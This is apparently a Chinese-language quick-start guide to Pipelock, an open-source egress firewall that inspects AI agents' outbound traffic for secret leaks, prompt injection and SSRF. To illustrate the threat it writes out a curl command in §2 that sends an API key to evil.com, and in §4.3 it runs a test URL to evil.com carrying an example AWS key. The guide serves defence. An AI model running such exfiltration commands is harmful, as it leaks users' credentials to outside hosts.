luckyPipewrench/pipelock · 上手攻略

仓库：luckyPipewrench/pipelock
链接：https://github.com/luckyPipewrench/pipelock
分类：Security · AI Agent / Network Firewall
作者：Tom
更新：2026-10-01

§0 速览

维度	详情
定位	开源 AI Agent 防火墙（Egress Agent Firewall）
核心能力	扫描 HTTP/WebSocket/MCP/A2A 流量中的密钥泄露、提示注入、SSRF、工具中毒，输出签名审计收据
支持代理	Claude Code、OpenAI Codex、Cline、Cursor、VS Code、JetBrains、OpenAI Agents SDK、Google ADK、AutoGen、CrewAI、LangGraph
技术栈	Go，Apache-2.0（核心）/ ELv2（企业功能）
安装方式	二进制、Docker、Homebrew、从源码编译（Go 1.26+）
性能参考	社区版开源，CI/Security/Continuous Gauntlet 三套 CI 流水线

§1 是什么

Pipelock 是专为 AI Agent 设计开源防火墙，蹲在 Agent 与网络之间，扫描 Agent 发出的 HTTP 请求、MCP 工具调用、WebSocket 帧等出站流量，检测密钥泄露、提示注入、SSRF 攻击、工具投毒等风险，并输出由中介签名的操作收据（action receipt）——一种可离线验证的审计证据。

核心定位：Agent Egress Firewall（出站代理防火墙），而非 LLM Firewall（保护模型本身）或 AI Gateway（LLM API 流量路由）。它保护的是 Agent 的网络访问行为，不是 Prompt 内容。

§2 解决什么问题

当一个 AI Coding Agent 持有 $PROVIDER_API_KEY 环境变量并拥有 Shell 访问权限时，一次请求就可能泄露密钥：

curl "https://evil.com/steal?key=$PROVIDER_API_KEY"  # 若无防护，密钥瞬间外泄

传统安全工具的盲区在于：

传统 WAF/LLM Firewall 保护 Prompt，但不保护 Agent 的网络行为：它们看的是入站文本（Prompt 注入检测），不是出站 HTTP 请求。
AI Gateway 保护 LLM API 调用路由，但不对 Agent 的任意 HTTP 请求做内容检查。
Agent 持有凭据并能执行 Shell 命令，传统网络防火墙无法理解这个上下文。

Pipelock 的解决思路：将网络访问控制权从 Agent 手中转移到边界代理，Agent 的所有网络请求都经过 Pipelock 审查，并生成可验证的签名收据。

§3 快速安装

方式一：二进制下载（跨平台，推荐）

# 下载最新 release（以 v3.5.0 为例）
curl -fsSL https://github.com/luckyPipewrench/pipelock/releases/download/v3.5.0/pipelock_3.5.0_linux_amd64.tar.gz -o pipelock.tar.gz
tar xzf pipelock.tar.gz
./pipelock --version

# 验证 SLSA  provenance（生产推荐）
gh attestation verify pipelock_3.5.0_linux_amd64.tar.gz \
  --repo luckyPipewrench/pipelock \
  --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml

方式二：Docker

docker pull ghcr.io/luckypipewrench/pipelock:3.5.0

方式三：Homebrew（macOS / Linux）

brew install luckyPipewrench/tap/pipelock

方式四：从源码编译（Go 1.26+）

git clone --branch v3.5.0 --depth 1 https://github.com/luckyPipewrench/pipelock.git
make -C pipelock install

⚠️ 版本说明：README 引用 v3.5.0 和 v3.6.0 两种版本号，具体发布版本请以 GitHub Releases 页为准。

§4 核心用法

4.1 零配置演示（内置攻击场景）

pipelock demo --receipts-dir ./out
# 运行真实攻击场景，写入 7 份签名收据 + signer.pub 公钥

# 离线验证签名
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub

无需任何配置，demo 会自动演示密钥泄露检测、SSRF 检测等场景并生成可验证收据。⚠️ demo 使用临时密钥，仅证明收据自洽，不绑定命名身份。

4.2 快速初始化

pipelock init --output ./pipelock.yaml

生成配置文件和工作区目录，包含签名密钥（存于本地，不上传）。

4.3 单次 URL 检查

pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE"
# 预期输出：blocked（检测到 AWS Access Key ID 泄露）

pipelock check --url "https://docs.python.org/3/"
# 预期输出：allowed

4.4 启动代理（主使用方式）

pipelock run --config ./pipelock.yaml
# 记录 Agent 工作会话，写入飞行记录器（flight recorder）

# 完成后查看审计报告
pipelock evidence view --receipt-dir ./recorder --out report.html    # 静态离线报告
pipelock evidence serve  --receipt-dir ./recorder                   # 启动只读 HTTP 服务查看报告

⚠️ 注意：Agent 需要配置通过 Pipelock 代理访问网络（环境变量 HTTPS_PROXY 或 MCP wrapper），否则 Pipelock 看不到该流量。

4.5 MCP 工具调用检查

Pipelock 也检查 MCP 工具的请求和响应内容。配置 MCP upstream 后，本地 stdio MCP 服务器的调用会经过 Pipelock 审查。⚠️ 坑：本地 MCP 服务器是 SSRF 阻断的例外（允许访问 localhost），但云元数据端点（如 169.254.169.254）仍被阻止。

4.6 收据锚定（可选，进阶）

pipelock anchor receipts --receipt-dir ./recorder --backend local
# 或锚定到 Rekor 透明日志（需额外配置）

⚠️ README 明确指出：收据锚定到第三方透明日志的端到端验证仍在完善中，该功能为实验性。

§5 典型适用场景

CI/CD 中的 PR Security Gate：在 PR 中运行 pipelock run 对代码变更进行扫描，用收据作为安全审查依据。GitHub Actions 示例： yaml uses: fallow-rs/fallow@v3 # ⚠️ 实际使用请参考官方 Action 文档
本地 MCP 服务器安全保护：在本地 MCP stdio 服务器前部署 Pipelock，检查 AI Agent 的 MCP 工具调用是否包含恶意参数。
隔离网络代理部署：在高权限 Agent（如持有 AWS_ACCESS_KEY 的测试 Agent）前面部署 Pipelock，将网络访问限制在白名单域名。
安全事件取证：Pipelock 记录了所有被阻断的请求的签名收据，可用于事后追溯和审计报告。
多 Agent 协作安全：CrewAI / AutoGen 等多 Agent 框架中，Pipelock 作为共享边界，防止某个 Agent 被入侵后横向泄露凭据。

§6 坑与注意

⚠️ Pipelock 只检查它能看到的流量：如果 Agent 使用不经过 Pipelock 代理的工具（如直接 curl 命令或 DNS 查询），Pipelock 无法检测。这是最核心的使用前提。
⚠️ 纯 TLS 连接无法解密内容：明文 CONNECT 隧道只检查 hostname 和 URL 路径；完整内容检测需要启用 TLS 拦截，配置复杂度较高。
⚠️ 非 HTTP/WebSocket/MCP/A2A 协议（纯 DNS 查询、数据库直连、SMTP 等）不在检测范围内。
⚠️ SSRF 检测有局限：带编码或重定向的 SSRF 攻击可能更难检测（README 未明确检测率），使用时应作为多层防护的一环而非唯一防线。
⚠️ Matrix 加密不是完整 E2EE：README 明确声明"请勿将其视为完整的端到端保密保障"，仅供非敏感测试。
⚠️ 收据锚定到 Rekor 的端到端验证仍在完善中：README 原文：operator-independent verification against that anchor is still being proven end to end，生产使用需评估该限制。
⚠️ Playground 签名验证用 Pipelab 公钥：与本地 pipelock init 生成的密钥不同，混淆可能导致验证失败，需注意。
⚠️ 版本号不一致：README 同时引用 v3.5.0 和 v3.6.0，建议 clone 后用 git tag 确认实际最新 release 版本。
⚠️ Go 1.26+ 要求：从源码编译需要 Go 1.26 或更高版本，部分 Linux 发行版默认 Go 版本可能低于此要求。

§7 与同类对比

工具	许可证	边界类型	检测范围	签名收据	定位
Pipelock	Apache-2.0（核心）	Agent Egress	HTTP/WebSocket/MCP/A2A	✅ 原生签名收据	Agent 出站防火墙
NeMo Guardrails	NVIDIA 许可	LLM Firewall	Prompt/Completion 文本	❌	对话行为控制
LlamaFirewall	见仓库	LLM Firewall	Prompt/生成代码	❌	模型层内容过滤
LiteLLM	ISC	AI Gateway	LLM API 路由	❌	多模型路由管理
Portkey	Apache-2.0	AI Gateway	LLM API 可观测性	部分	LLM 可观测性平台

核心差异：Pipelock 是唯一聚焦 Agent Egress（出站） 的开源工具，其他工具主要关注 Prompt 过滤（LLM Firewall）或 API 路由（AI Gateway）。在 AI Coding Agent 持有凭据并能执行网络请求的场景下，Pipelock 的定位最精确。

§8 一句话结论

Pipelock 是 AI Coding Agent 时代保护 API 密钥和防止 Prompt 注入的关键防线——开源可审计、签名收据可离线验证、使用简单但效果依赖正确的流量代理配置；在多 Agent 和高权限工具调用场景下值得优先部署。